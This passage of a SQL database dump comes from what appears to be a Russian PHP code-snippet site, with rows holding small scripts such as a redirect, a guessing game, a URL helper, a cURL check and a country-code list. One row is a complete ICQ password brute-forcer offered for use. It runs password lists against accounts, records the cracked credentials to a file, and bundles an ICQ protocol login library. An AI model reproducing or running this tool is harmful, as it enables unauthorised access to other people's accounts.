и ошибок определённо станет
меньше.','files_3056_1905_',151),(180,14,'Редирект с
задержкой','Заголовки функцией header
нужно\r\nотправлять до любого вывода
текста в\r\nбраузер! Даже перед <?php не
должно быть\r\nпробелов!','<?php header(
\'Refresh: 3; URL=http: //sitear.ru\' ); echo \'Через 3 сек. вы
будете перенаправлены на новую
страницу.\' ; exit;
?>','files_2673_5563_',151),(181,14,'Пишем простую
игру на PHP','Написал обучающий урок для
своего сообщества, по созданию простой
игры на PHP.\r\nИгра называется "Угадай
число", от вас требуется угадать
число которое задумала для вас
игра,\r\nдиапазон от 0 до 50.\r\nВот решил
выложить сюда.','<?php $msg = "Угадайте
число в диапазоне от 0 до 50!"; if
(isset($_POST["guess"])) { $number =
$_POST["number"]; //В переменную $number
записываем данные полученные из
текстового поля с именем number $hidden_number =
$_POST["hidden_number"]; //В переменную
$hidden_number записываем данные полученные из
скрытого поля с именем $hidden_number if ($number
< $_POST["hidden_number"]) { //Если число
из текстового поля меньше загаданного
числа, то выводим сообщение $msg =
"Загаданое число больше $number"; }
elseif ($number > $_POST["hidden_number"]) {
//Если число из текстового поля больше
загаданного числа, то выводим сообщение
$msg = "Загаданое число меньше
$number"; } elseif ($number ==
$_POST["hidden_number"]) { //Если числа
равны, то мы выиграли $msg = "Число
угадано! <br/> Загадано новое
число!"; $hidden_number = rand(0, 50); } } else { $number =
0; $hidden_number = rand(0, 50); //Загадываем число } echo
$msg; echo \'<form action="?"
method="POST"> <input
type="text" value="\'.$number.\'"
name="number" /> <br />
<input type="submit"
name="guess" value="Играть"
/><br/> <input type="hidden"
name="hidden_number"
value="\'.$hidden_number.\'" />
</form>\';
?>','files_3826_2927_',151),(182,14,'получение
полного URL текущей страницы','Сегодня
задался вопросом нахождения такой
функции, но найденные решения оказались
какими-то перегруженными. Вот слегка
отшлифованная функция, если кому вдруг
тоже пригодится:','function selfURL(){
if(!isset($_SERVER[\'REQUEST_URI\'])) $suri = $_SERVER[\'PHP_SELF\']; else
$suri = $_SERVER[\'REQUEST_URI\']; $s =
empty($_SERVER["HTTPS"]) ? \'\' :
($_SERVER["HTTPS"] == "on") ?
"s" : "";
$sp=strtolower($_SERVER["SERVER_PROTOCOL"]); $pr =
substr($sp,0,strpos($sp,"/")).$s; $pt =
($_SERVER["SERVER_PORT"] == "80") ?
"" :
(":".$_SERVER["SERVER_PORT"]); return
$pr."://".$_SERVER[\'SERVER_NAME\'].$pt.$suri;
}','files_3100_4853_',151),(183,14,'Брутер ICQ','Брут аськи,
юзайте юзверы :гг','<?
$good="good.txt"; $bad="bad.txt";
$pass="pass.txt"; $stop="stop.txt";
set_time_limit(0); ignore_user_abort(1); error_reporting(0);
//(С)byHoRmOlD if (file_exists($stop)) { echo "Уберите
файл".$stop."для начала
брута."; exit(); } $icq = new WebIcqLite();
if(!empty($_GET["icq"]) &&
$_GET["brute2"]) { $files= file($pass);
$icq=$_GET[\'icq\']; for($i = 0; $i <= count($files); $i++) { $file
= trim($files[$i]); list($pass1) = explode("rn", $file);
if(!$icq->connect($icq, $pass1[$i])) { $bads = fopen($bad, \'ab\');
fwrite($bads, $icq.";".$pass1."rn");
fclose($bads); } else { $god = fopen($good, \'ab\');
fwrite($god,$icq.";".$pass1."rn");
fclose($god); usleep(100); } } }
elseif(!empty($_GET["pass"]) &&
$_GET["brute"]) { $file1="uins.txt";
$files= file($file1); $pass=$_GET[\'pass\']; for($i = 0; $i <=
count($files); $i++) { $file = trim($files[$i]); list($uin) =
explode("rn", $file); if(!$icq->connect($uin,
$_GET[\'pass\'])) { $bads = fopen($bad, \'ab\'); fwrite($bads,
$uin."rn"); fclose($bads); } else { $god = fopen($good,
\'ab\'); fwrite($god,
$uin.";".$_POST[\'pass\']."rn");
fclose($god); usleep(100); } } } else { ?> <html>
<head><title>Pro-Html-Php ICQ-Brute version
1.5</title> <meta http-equiv=\'Content-Type\'
content=\'text/html; charset=windows-1251\' /> </head>
<style> html, * { background-color: #706A58; color: white;
font-size: 11px; font-family: Tahoma; } input, textarea { border: solid
1px; border-color:#FF0000; } pre{ font-size: 12px; font-family: Tahoma; }
div{ font-size: 20px; font-family: Tahoma; background-color: #000033; }
</style> <body>
<CENTER><div>Pro-Html-Php ICQ-Brute version
1.5</div></CENTER>
<CENTER><p><fieldset><legend>Брут:</legend>
<form method="GET"> Введите
пароль, который будет брутиться
<br/>ко всем номерам в файле
uins.txt<br/> <input name="pass"
value=""/><br/><BR>
<INPUT TYPE="hidden"
name="brute" value="1">
<input type="submit" value="Начать
брут"/> </form><P>
<form method="GET"> Введите icq
номер <br/>к которому будут
подбераться пароли из <?echo
$pass;?><br/> <input
name="icq"
value=""/><br/><BR>
<INPUT TYPE="hidden"
name="brute2" value="1">
<input type="submit" value="Начать
брут"/> </form><P>
</fieldset> <BR>
<p><fieldset><legend>Генератор:</legend><form
method="GET">Начальный номер:
<P> <input type="text"
name="uin_start" /> </p>
<p>Конечный номер: <BR>
<input type="text"
name="uin_end" /> <INPUT
TYPE="hidden" name="gen"
value="1"> </p> <p>
<? if(!empty($_GET["uin_start"])
&& $_GET["gen"]) {
$uin1=$_GET["uin_start"];
$uin2=$_GET["uin_end"]; $gen =
fopen("uins.txt", \'a+\'); for($uinR = $uin1; $uinR
<= $uin2; $uinR++) { fwrite($gen,
$uins.";".$pass."rn"); } echo
"Done."; fclose($gen); } ?></p>
<p> <input type="submit"
value="Генирировать" />
</fieldset></p> </form>
<?php $file="uins.txt"; $open=file($file);
$open_1=file(\'bad.txt\'); $open_2=file(\'good.txt\'); if
(isset($_GET["clean"]) &&
$_GET["clean"] == "uins") { $handle =
fopen($file, "w"); fclose($handle); echo
"<b><font
color="green">Внимание:</font>
файл ".$file."
очищен</b><br><br>";
} if (isset($_GET["clean"]) &&
$_GET["clean"] == "bad") { $handle =
fopen($bad, "w"); fclose($handle); echo
"<b><font
color="green">Внимание:</font>
файл ".$bad."
очищен</b><br><br>";
} if (isset($_GET["clean"]) &&
$_GET["clean"] == "good") { $handle =
fopen($good, "w"); fclose($handle); echo
"<b><font
color="green">Внимание:</font>
файл ".$good."
очищен</b><br><br>";
} if(!file_exists($file)) { echo "Необходимо
создать файл <font style=\'color:
#ED63A5\'>".$file."</font> и
вписать в него номера для брута<br
/>"; } else { if(filesize($file) == 0 ) { echo
"Файл <font style=\'color:
#ED63A5\'>".$file."</font>
пустой...необходимо вписать в него номера
для брута<br />"; } else { echo
"Файл <font style=\'color:
#ED63A5\'>".$file."</font>
имеет ".count($open)." номеров<br
/><A
HREF="?clean=uins">Очистить
файл</A><BR>"; echo
"Файл <font style=\'color:
#ED63A5\'>bad.txt</font> имеет
".count($open_1)." номеров<br
/><A
HREF="?clean=bad">Очистить
файл</A><BR>"; echo
"Файл <font style=\'color:
#ED63A5\'>good.txt</font> имеет
".count($open_2)." номеров<br
/><A
HREF="?clean=good">Очистить
файл</A><BR>"; }
if(filesize($good) == 0 ) {echo "Ещё ничего не
сбручено!<P><BR>";} else{echo
"Сбручено ".count($open_2)."
номера(ов).<br><pre>".file_get_contents($good)."</pre><BR><P>";}
} ?> <small>(C) HoRmOlD 2007.</small>
All for <A
HREF="http://XAKEPOK.org">XAKEPOK.org</A>,<A
HREF="http://Antichat.ru">Antichat.ru</A>.</CENTER>
</body> </html> <? } ?>
<?php /* * WebIcqLite: ICQ messages sender. v3.2b * (C) 2006 Sergey
Akudovich, http://intrigue.ru/ * * This library is free software; you can
redistribute it and/or * modify it under the terms of the GNU Lesser
General Public * License as published by the Free Software Foundation;
either * version 2.1 of the License, or (at your option) any later version.
* See http://www.gnu.org/copyleft/lesser.html * */ class WebIcqLite_TLV {
var $type; var $size; var $error; var $types = array ( \'UIN\' =>
1, // 0x01 \'DATA\' => 2, // 0x02 \'CLIENT\' => 3, // 0x03
\'ERROR_URL\' => 4, // 0x04 \'RECONECT_HERE\' => 5, // 0x05
\'COOKIE\' => 6, // 0x06 \'SNAC_VERSION\' => 7, // 0x07
\'ERROR_SUBCODE\' => 8, // 0x08 \'DISCONECT_REASON\' => 9, //
0x09 \'RECONECT_HOST\' => 10, // 0x0A \'URL\' => 11, // 0x0B
\'DEBUG_DATA\' => 12, // 0x0C \'SERVICE\' => 13, // 0x0D
\'CLIENT_COUNTRY\' => 14, // 0x0E \'CLIENT_LNG\' => 15, //
0x0F \'SCRIPT\' => 16, // 0x10 \'USER_EMAIL\' => 17, // 0x11
\'OLD_PASSWORD\' => 18, // 0x12 \'REG_STATUS\' => 19, // 0x13
\'DISTRIB_NUMBER\' => 20, // 0x14 \'PERSONAL_TEXT\' => 21, //
0x15 \'CLIENT_ID\' => 22, // 0x16 \'CLI_MAJOR_VER\' => 23, //
0x17 \'CLI_MINOR_VER\' => 24, // 0x18 \'CLI_LESSER_VER\' =>
25, // 0x19 \'CLI_BUILD_NUMBER\' => 26, // 0x1A // \'PASSWORD\'
=> 37 ); function setTLV($type, $value, $length = false) { switch
($length) { case 1: $format = \'c\'; break; case 2: $format = \'n\'; break;
case 4: $format = \'N\'; break; default: $format = \'a*\'; break; } if
($length === false) { $length = strlen($value); } return
pack(\'nn\'.$format, $this->types[$type], $length, $value); }
function getTLV($data) { $arr = unpack(\'n2\', substr($data, 0, 4));
$this->type = $arr[1]; $this->size = $arr[2]; return
substr($data, 4, $this->size); } function getTLVFragment($data) {
$frg = unpack(\'cid/cversion/nsize\', substr($data, 0, 4)); $frg[\'data\']
= substr($data, 4, $frg[\'size\']); return $frg; } } class WebIcqLite_SNAC
extends WebIcqLite_TLV { var $request_id = 0; var $uin; function
setSNAC0102() { $this->request_id++; $out = pack(\'nnnN\', 1, 2, 0,
$this->request_id); $out .= pack(\'n*\', 1, 3, 272, 650); $out .=
pack(\'n*\', 2, 1, 272, 650); $out .= pack(\'n*\', 3, 1, 272, 650); $out .=
pack(\'n*\', 21, 1, 272, 650); $out .= pack(\'n*\', 4, 1, 272, 650); $out
.= pack(\'n*\', 6, 1, 272, 650); $out .= pack(\'n*\', 9, 1, 272, 650); $out
.= pack(\'n*\', 10, 1, 272, 650); return $out; } function
setSNAC0406($uin, $message) { $this->request_id++; $cookie =
microtime(); $out = pack(\'nnnNdnca*\', 4, 6, 0, $this->request_id,
$cookie, 2, strlen($uin), $uin); $capabilities = pack(\'H*\',
\'094613494C7F11D18222444553540000\'); // utf-8 support //
\'97B12751243C4334AD22D6ABF73F1492\' rtf support $data = pack(\'nd\', 0,
$cookie).$capabilities; $data .= pack(\'nnn\', 10, 2, 1); $data .=
pack(\'nn\', 15, 0); $data .= pack(\'nnvvddnVn\', 10001,
strlen($message)+62, 27, 8, 0, 0, 0, 3, $this->request_id); $data .=
pack(\'nndnn\', 14, $this->request_id, 0, 0, 0); //45 $data .=
pack(\'ncvnva*\', 1, 0, 0, 1, (strlen($message)+1), $message); $data .=
pack(\'H*\', \'0000000000FFFFFF00\'); $out .=
$this->setTLV(\'RECONECT_HERE\', $data); $out .=
$this->setTLV(\'CLIENT\', \'\'); return $out; } function
setSNAC0406offline($uin, $message) { $this->request_id++; $cookie =
microtime(); $out = pack(\'nnnNdnca*\', 4, 6, 0, $this->request_id,
$cookie, 1, strlen($uin), $uin); $data = pack(\'ccnc\', 5, 1, 1, 1); $data
.= pack(\'ccnnna*\', 1, 1, strlen($message)+4, 3, 0, $message); $out .=
$this->setTLV(\'DATA\', $data); $out .=
$this->setTLV(\'CLIENT\', \'\'); $out .=
$this->setTLV(\'COOKIE\', \'\'); return $out; } function
getSNAC0407($body) { if (strlen($body)) { $msg =
unpack(\'nfamily/nsubtype/nflags/Nrequestid/N2msgid/nchannel/cnamesize\',
$body); if ($msg[\'family\'] == 4 && $msg[\'subtype\'] ==
7) { $body = substr($body, 21); $from = substr($body, 0,
$msg[\'namesize\']); $channel = $msg[\'channel\']; $body = substr($body,
$msg[\'namesize\']); $msg = unpack(\'nwarnlevel/nTLVnumber\', $body); $body
= substr($body, 4); for ($i = 0; $i <= $msg[\'TLVnumber\']; $i++) {
$part = $this->getTLV($body); $body = substr($body, 4 +
$this->size); if ($channel == 1 &&
$this->type == 2) { while (strlen($part)) { $frg =
$this->getTLVFragment($part); if ($frg[\'id\'] == 1
&& $frg[\'version\'] == 1) { return array(\'from\'
=> $from, \'message\' => substr($frg[\'data\'], 4)); } $part
= substr($part, 4+$frg[\'size\']); } return false; } } } } return false; }
function dump($str) { $f = fopen(\'dump\', \'a\'); fwrite($f, $str);
fclose($f); } } class WebIcqLite_FLAP extends WebIcqLite_SNAC{ var
$socet; var $command= 0x2A; var $channel; var $sequence; var $body; var
$info = array(); var $size_flap; function WebIcqLite_FLAP() {
$this->sequence = rand(1, 30000); } function getFLAP() {
if($this->socet &&
!socket_last_error($this->socet)) { $header =
socket_read($this->socet, 6); if ($header) { $header =
unpack(\'c2channel/n2size\', $header); $this->channel =
$header[\'channel2\']; $this->size_flap = $header[\'size2\'];
$this->body = socket_read($this->socet, $header[\'size2\']);
return true; } else { return false; } } } function parseCookieFLAP() {
$this->getFLAP(); $this->info = array();
while($this->body != \'\') { $info =
$this->getTLV($this->body); $key =
array_search($this->type, $this->types); if($key) {
$this->info[$key] = $info; } $this->body =
substr($this->body, ($this->size+4)); } } function
parseAnswerFLAP() { $this->getFLAP(); $array =
unpack(\'n3int/Nint\', $this->body); while ($array[\'int\'] !=
$this->request_id) { $this->getFLAP(); $array =
unpack(\'n3int/Nint\', $this->body); } $this->error =
\'Unknown serwer answer\'; if ($array[\'int1\'] == 4) { switch
($array[\'int2\']) { case 1: $this->error = \'Error to sent
message\'; return false; break; case 0x0c: return true; break; } }
$this->error = \'Unknown serwer answer\'; return false; } function
prepare() { $this->sequence++; $out = pack(\'ccnn\',
$this->command, $this->channel, $this->sequence,
strlen($this->body)).$this->body; return $out; } function
login($uin, $password) { $this->getFLAP(); $this->uin = $uin;
$this->body .= $this->setTLV(\'UIN\',
"$uin"); $this->body .=
$this->setTLV(\'DATA\', $this->xorpass($password));
$this->body .= $this->setTLV(\'CLIENT\', \'ICQBasic\');
$this->body .= $this->setTLV(\'CLIENT_ID\', 266, 2);
$this->body .= $this->setTLV(\'CLI_MAJOR_VER\', 20, 2);
$this->body .= $this->setTLV(\'CLI_MINOR_VER\', 34, 2);
$this->body .= $this->setTLV(\'CLI_LESSER_VER\', 0, 2);
$this->body .= $this->setTLV(\'CLI_BUILD_NUMBER\', 2321, 2);
$this->body .= $this->setTLV(\'DISTRIB_NUMBER\', 1085, 4);
$this->body .= $this->setTLV(\'CLIENT_LNG\', \'en\');
$this->body .= $this->setTLV(\'CLIENT_COUNTRY\', \'us\');
$this->channel = 1; $pack = $this->prepare();
socket_write($this->socet, $pack, strlen($pack));
$this->parseCookieFLAP(); return ($this->size_flap >
0x100) ? true : false; $this->body = 0x0000; $pack =
$this->prepare(); socket_write($this->socet, $pack,
strlen($pack)); $this->close();
if(isset($this->info[\'RECONECT_HERE\'])) { $url = explode(\':\',
$this->info[\'RECONECT_HERE\']); if(!$this->open($url)) {
$this->error = isset($this->info[\'DISCONECT_REASON\']) ?
$this->info[\'DISCONECT_REASON\'] : \'Unable to reconnect\'; return
false; } } else { $this->error =
isset($this->info[\'DISCONECT_REASON\']) ?
$this->info[\'DISCONECT_REASON\'] : \'UIN blocked, please try again
20 min later.\'; return false; } $this->getFLAP();
$this->body .= $this->setTLV(\'COOKIE\',
$this->info[\'COOKIE\']); $pack = $this->prepare(); if
(!socket_write($this->socet, $pack, strlen($pack))) {
$this->error = \'Can`t send cookie, server close connection\';
return false; } $this->getFLAP(); $this->body =
$this->setSNAC0102(); $pack = $this->prepare(); if
(!socket_write($this->socet, $pack, strlen($pack))) {
$this->error = \'Can`t send ready signal, server close connection\';
return false; } return true; } function write_message($uin, $message) {
$this->body = $this->setSNAC0406($uin, $message); $pack =
$this->prepare(); if (!socket_write($this->socet, $pack,
strlen($pack))) { $this->error = \'Can`t send message, server close
connection\'; return false; } if (! $this->parseAnswerFLAP()) { //
try to send offline message $this->body =
$this->setSNAC0406offline($uin, $message); $pack =
$this->prepare(); if (!socket_write($this->socet, $pack,
strlen($pack))) { $this->error = \'Can`t send offline message,
server close connection\'; return false; } if (!
$this->parseAnswerFLAP()) { return false; } else {
$this->error = \'Client is offline. Message sent to server.\';
return false; } } return true; } function read_message() {
while($this->getFLAP()) { $message =
$this->getSNAC0407($this->body); if($message){ return
$message; } } return false; } function xorpass($pass) { $roast =
array(0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9,
0xE6, 0x53, 0x7A, 0x95, 0x7c); $roasting_pass = \'\'; for ($i=0;
$i<strlen($pass); $i++) { $roasting_pass .= chr($roast[$i] ^
ord($pass{$i})); } return($roasting_pass); } function open($url =
array(\'login.icq.com\', 5190)) { $this->socet =
socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($this->socet
< 0 || $this->socet === false) { $this->error =
"socket_create() failed: reason: " .
socket_strerror($this->socet); return false; } $result =
socket_connect($this->socet, gethostbyname($url[0]), $url[1]); if
($result < 0 || $result === false) { $this->error =
"socket_connect() failed.nReason: ($result) " .
socket_strerror(socket_last_error($socket)); return false; } return true; }
function close() { return socket_close($this->socet); } } class
WebIcqLite extends WebIcqLite_FLAP { function WebIcqLite () {
$this->WebIcqLite_FLAP(); } function is_connected() {
if(!$this->socet || socket_last_error($this->socet)) {
$this->error = socket_strerror(socket_last_error($socket)); return
false; } return true; } function connect($uin, $pass) { if
(!$this->open()) { return false; } return $this->login($uin,
$pass); } function disconnect() { return $this->close(); }
function get_message() { return $this->read_message(); } function
send_message($uin, $message) { return $this->write_message($uin,
$message); } } ?>','files_2074_5060_',151),(184,14,'проверка
успешности загрузки страницы','Для
проверки успешной загрузки какой-то
страницы, можем сделать cURL запрос и
проверить HTTP статус. Если загрузка
произошла успешно, без всяких нюансов, то
этот статус будет равен 200 (OK).','<?php 02
function checkUrl($url) 03 { 04 // Простая проверка 05 if
(!$url) 06 { 07 return false; 08 } 09 10 // Создание cURL
ресурса и передача URL 11 $curl_resource = curl_init($url);
12 13 // Выполнение запроса 14
curl_setopt($curl_resource, CURLOPT_RETURNTRANSFER, true); 15
curl_exec($curl_resource); 16 17 // Проверка на статус 200
18 $result = (curl_getinfo($curl_resource, CURLINFO_HTTP_CODE) == 200) ?
true : false; 19 20 curl_close($curl_resource); 21 22 return $result; 23
}','files_2933_2981_',151),(185,14,'Буквенные сокращения
стран','Иногда возникает потребность
узнать по сокращению полное название
страны, поэтому добавлю заметку с этими
самыми сокращениями названия стран
мира.','< ?php /** * Буквенные сокращения
стран * автор: Nc_Soft * 27.03.09 */ $country=array( \'AC\'
=> \'Ascension Island (остров Вознесения)\', \'AD\'
=> \'Andorra (Андорра)\', \'AE\' => \'United Arab
Emirates (Объединенные Арабские Эмираты)\',
\'AF\' => \'Afghanistan (Афганистан)\', \'AG\' =>
\'Antigua and Barbuda (Антигуа и Барбуда)\', \'AI\'
=> \'Anguilla\', \'AL\' => \'Albania (Албания)\',
\'AM\' => \'Armenia (Армения)\', \'AN\' =>
\'Netherlands Antilles (Голланские Антильские
острова)\', \'AO\' => \'Angola (Ангола)\', \'AQ\'
=> \'Antarctica (Антарктика)\', \'AR\' =>
\'Argentina (Аргентина)\', \'AS\' => \'American Samoa
(Американское Самоа)\', \'AT\' => \'Austria
(Австрия)\', \'AU\' => \'Australia (Австралия)\',
\'AW\' => \'Aruba (Аруба)\', \'AX\' => \'Aland Islands
(Аландские острова)\', \'AZ\' => \'Azerbaijan
(Азербайджан)\', \'BA\' => \'Bosnia and Herzegovina
(Босния и Герцеговина)\', \'BB\' => \'Barbados
(Барбадос)\', \'BD\' => \'Bangladesh (Бангладеш)\',
\'BE\' => \'Belgium (Бельгия)\', \'BF\' => \'Burkina
Faso (Буркина-Фасо)\', \'BG\' => \'Bulgaria
(Болгария)\', \'BH\' => \'Bahrain (Бахрейн)\', \'BI\'
=> \'Burundi (Бурунди)\', \'BJ\' => \'Benin
(Бенин)\', \'BM\' => \'Bermuda (Бермудские
острова)\', \'BN\' => \'Brunei Darussalam (Бруней)\',
\'BO\' => \'Bolivia (Боливия)\', \'BR\' => \'Brazil
(Бразилия)\', \'BS\' => \'Bahamas (Багамские
острова)\', \'BT\' => \'Bhutan (Бутан)\', \'BV\'
=> \'Bouvet Island\', \'BW\' => \'Botswana
(Ботсвана)\', \'BY\' => \'Belarus (Беларусь)\',
\'BZ\' => \'Belize (Белиз)\', \'CA\' => \'Canada
(Канада)\', \'CC\' => \'Cocos (Keeling) Islands
(Кокосовые острова)\', \'CD\' => \'Congo
(Конго)\', \'CF\' => \'Central African Republic
(Центральноафриканская Республика)\', \'CG\'
=> \'Congo (Конго)\', \'CH\' => \'Switzerland
(Швейцария)\', \'CI\' => \'Cote dIvoire
(Кот-дИвуар)\', \'CK\' => \'Cook Islands (острова
Кука)\', \'CL\' => \'Chile (Чили)\', \'CM\' =>
\'Cameroon (Камерун)\', \'CN\' => \'China (Китай)\',
\'CO\' => \'Colombia (Колумбия)\', \'CR\' => \'Costa
Rica (Коста-Рика)\', \'CS\' => \'Serbia and Montenegro
(Сербия и Черногория)\', \'CU\' => \'Cuba
(Куба)\', \'CV\' => \'Cape Verde (Кабо-Верде)\', \'CX\'
=> \'Christmas Island (остров Рождества)\', \'CY\'
=> \'Cyprus (Кипр)\', \'CZ\' => \'Czech Republic
(Чехия)\', \'DE\' => \'Germany (Германия)\', \'DJ\'
=> \'Djibouti (Джибути)\', \'DK\' => \'Denmark
(Дания)\', \'DM\' => \'Dominica (Доминика)\', \'DO\'
=> \'Dominican Republic (Доминиканская
Республика)\', \'DZ\' => \'Algeria (Алжир)\', \'EC\'
=> \'Ecuador (Эквадор)\', \'EE\' => \'Estonia
(Эстония)\', \'EG\' => \'Egypt (Египет)\', \'EH\'
=> \'Western Sahara (Западная Сахара)\', \'ER\'
=> \'Eritrea (Эритрея)\', \'ES\' => \'Spain
(Испания)\', \'ET\' => \'Ethiopia (Эфиопия)\', \'FI\'
=> \'Finland (Финляндия)\', \'FJ\' => \'Fiji
(Фиджи)\', \'FK\' => \'Falkland Islands
(Фолклендские острова)\', \'FM\' => \'Micronesia
(Микронезия)\', \'FO\' => \'Faroe Islands
(Фарерские острова)\', \'FR\' => \'France
(Франция)\', \'GA\' => \'Gabon (Габон)\', \'GB\'
=> \'United Kingdom (Соединенное Королевство
Великобритании и Северной Ирландии)\',
\'GD\' => \'Grenada (Гренада)\', \'GE\' => \'Georgia
(Грузия)\', \'GF\' => \'French Guiana (Французская
Гвиана)\', \'GG\' => \'Guernsey (остров Гернси)\',
\'GH\' => \'Ghana (Гана)\', \'GI\' => \'Gibraltar
(Гибралтар)\', \'GL\' => \'Greenland
(Гренландия)\', \'GM\' => \'Gambia (Гамбия)\',
\'GN\' => \'Guinea (Гвинея)\', \'GP\' => \'Guadeloupe
(Гваделупа)\', \'GQ\' => \'Equatorial Guinea
(Экваториальная Гвинея)\', \'GR\' => \'Greece
(Греция)\', \'GS\' => \'South Georgia and the South Sandwich
Islands (Южная Джорджия и Южные Сандвичевы
острова)\', \'GT\' => \'Guatemala (Гватемала)\',
\'GU\' => \'Guam (Гуам)\', \'GW\' => \'Guinea-Bissau
(Гвинея-Бисау)\', \'GY\' => \'Guyana (Гайана)\',
\'HK\' => \'Hong Kong (Гонконг)\', \'HM\' => \'Heard
and McDonald Islands\', \'HN\' => \'Honduras (Гондурас)\',
\'HR\' => \'Croatia/Hrvatska (Хорватия)\', \'HT\' =>
\'Haiti (Гаити)\', \'HU\' => \'Hungary (Венгрия)\',
\'ID\' => \'Indonesia (Индонезия)\', \'IE\' =>
\'Ireland (Ирландия)\', \'IL\' => \'Israel
(Израиль)\', \'IM\' => \'Isle of Man (остров Мэн)\',
\'IN\' => \'India (Индия)\', \'IO\' => \'British Indian
Ocean Territory\', \'IQ\' => \'Iraq (Ирак)\', \'IR\' =>
\'Iran (Иран)\', \'IS\' => \'Iceland (Исландия)\',
\'IT\' => \'Italy (Италия)\', \'JE\' => \'Jersey
(остров Джерси)\', \'JM\' => \'Jamaica (Ямайка)\',
\'JO\' => \'Jordan (Иордания)\', \'JP\' => \'Japan
(Япония)\', \'KE\' => \'Kenya (Кения)\', \'KG\' =>
\'Kyrgyzstan (Кыргызстан)\', \'KH\' => \'Cambodia
(Камбоджа)\', \'KI\' => \'Kiribati (Кирибати)\',
\'KM\' => \'Comoros (Коморские острова)\', \'KN\'
=> \'Saint Kitts and Nevis (Сент-Китс и Невис)\',
\'KP\' => \'Korea (Северная Корея)\', \'KR\' =>
\'Korea (Южная Корея)\', \'KW\' => \'Kuwait
(Кувейт)\', \'KY\' => \'Cayman Islands (Каймановы
острова)\', \'KZ\' => \'Kazakhstan (Казахстан)\',
\'LA\' => \'Lao (Лаос)\', \'LB\' => \'Lebanon
(Ливан)\', \'LC\' => \'Saint Lucia (Сент-Люсия)\',
\'LI\' => \'Liechtenstein (Лихтенштейн)\', \'LK\'
=> \'Sri Lanka (Шри-Ланка)\', \'LR\' => \'Liberia
(Либерия)\', \'LS\' => \'Lesotho (Лесото)\', \'LT\'
=> \'Lithuania (Литва)\', \'LU\' => \'Luxembourg
(Люксембург)\', \'LV\' => \'Latvia (Латвия)\',
\'LY\' => \'Libya (Ливия)\', \'MA\' => \'Morocco
(Марокко)\', \'MC\' => \'Monaco (Монако)\', \'ME\'
=> \'Montenegro (Монтенегро)\', \'MD\' => \'Moldova
(Молдова)\', \'MG\' => \'Madagascar (Мадагаскар)\',
\'MH\' => \'Marshall Islands (Маршалловы
острова)\', \'MK\' => \'Macedonia (Македония)\',
\'ML\' => \'Mali (Мали)\', \'MM\' => \'Myanmar
(Мьянма)\', \'MN\' => \'Mongolia (Монголия)\', \'MO\'
=> \'Macau (Макао)\', \'MP\' => \'Northern Mariana
Islands (Северные Марианские острова)\', \'MQ\'
=> \'Martinique (Мартиника)\', \'MR\' =>
\'Mauritania (Мавритания)\', \'MS\' => \'Montserrat
(Монтсеррат)\', \'MT\' => \'Malta (Мальта)\', \'MU\'
=> \'Mauritius (Маврикий)\', \'MV\' => \'Maldives
(Мальдивы)\', \'MW\' => \'Malawi (Малави)\', \'MX\'
=> \'Mexico (Мексика)\', \'MY\' => \'Malaysia
(Малайзия)\', \'MZ\' => \'Mozambique (Мозамбик)\',
\'NA\' => \'Namibia (Намибия)\', \'NC\' => \'New
Caledonia (Новая Каледония)\', \'NE\' => \'Niger
(Нигер)\', \'NF\' => \'Norfolk Island (Норфолк)\',
\'NG\' => \'Nigeria (Нигерия)\', \'NI\' => \'Nicaragua
(Никарагуа)\', \'NL\' => \'Netherlands
(Нидерланды)\', \'NO\' => \'Norway (Норвегия)\',
\'NP\' => \'Nepal (Непал)\', \'NR\' => \'Nauru
(Науру)\', \'NU\' => \'Niue\', \'NZ\' => \'New Zealand
(Новая Зеландия)\', \'OM\' => \'Oman (Оман)\',
\'PA\' => \'Panama (Панама)\', \'PE\' => \'Peru
(Перу)\', \'PF\' => \'French Polynesia (Французская
Полинезия)\', \'PG\' => \'Papua New Guinea (Папуа -
Новая Гвинея)\', \'PH\' => \'Philippines
(Филиппины)\', \'PK\' => \'Pakistan (Пакистан)\',
\'PL\' => \'Poland (Польша)\', \'PM\' => \'Saint Pierre
and Miquelon (Сен-Пьер и Микелон)\', \'PN\' =>
\'Pitcairn Island (остров Питкэрн)\', \'PR\' =>
\'Puerto Rico (Пуэрто-Рико)\', \'PS\' => \'Palestine
(Палестина)\', \'PT\' => \'Portugal
(Португалия)\', \'PW\' => \'Palau (Палау)\', \'PY\'
=> \'Paraguay (Парагвай)\', \'QA\' => \'Qatar
(Катар)\', \'RE\' => \'Reunion Island (остров
Реюньон)\', \'RO\' => \'Romania (Румыния)\', \'RU\'
=> \'Russian Federation (Россия)\', \'RW\' => \'Rwanda
(Руанда)\', \'SA\' => \'Saudi Arabia (Саудовская
Аравия)\', \'SB\' => \'Solomon Islands (Соломоновы
Острова)\', \'SC\' => \'Seychelles (Сейшельские
Острова)\', \'SD\' => \'Sudan (Судан)\', \'SE\'
=> \'Sweden (Швеция)\', \'SG\' => \'Singapore
(Сингапур)\', \'SH\' => \'Saint Helena (остров
Святой Елены)\', \'SI\' => \'Slovenia
(Словения)\', \'SJ\' => \'Svalbard and Jan Mayen Islands\',
\'SK\' => \'Slovakia (Словакия)\', \'SL\' => \'Sierra
Leone (Сьерра-Леоне)\', \'SM\' => \'San Marino
(Сан-Марино)\', \'SN\' => \'Senegal (Сенегал)\',
\'SO\' => \'Somalia (Сомали)\', \'SR\' => \'Suriname
(Суринам)\', \'ST\' => \'Sao Tome and Principe
(Сан-Томе и Принсипи)\', \'SU\' => \'exUSSR
(СССР)\', \'SV\' => \'El Salvador (Сальвадор)\', \'SY\'
=> \'Syria (Сирия)\', \'SZ\' => \'Swaziland
(Свазиленд)\', \'TC\' => \'Turks and Caicos Islands\',
\'TD\' => \'Chad (Чад)\', \'TF\' => \'French Southern
Territories\', \'TG\' => \'Togo (Того)\', \'TH\' =>
\'Thailand (Таиланд)\', \'TJ\' => \'Tajikistan
(Таджикистан)\', \'TK\' => \'Tokelau (Токелау)\',
\'TL\' => \'Timor-Leste\', \'TM\' => \'Turkmenistan
(Туркменистан)\', \'TN\' => \'Tunisia (Тунис)\',
\'TO\' => \'Tonga (Тонга)\', \'TP\' => \'East Timor
(Восточный Тимор)\', \'TR\' => \'Turkey
(Турция)\', \'TT\' => \'Trinidad and Tobago (Тринидад
и Тобаго)\', \'TV\' => \'Tuvalu (Тувалу)\', \'TW\'
=> \'Taiwan (Тайвань)\', \'TZ\' => \'Tanzania
(Танзания)\', \'UA\' => \'Ukraine (Украина)\', \'UG\'
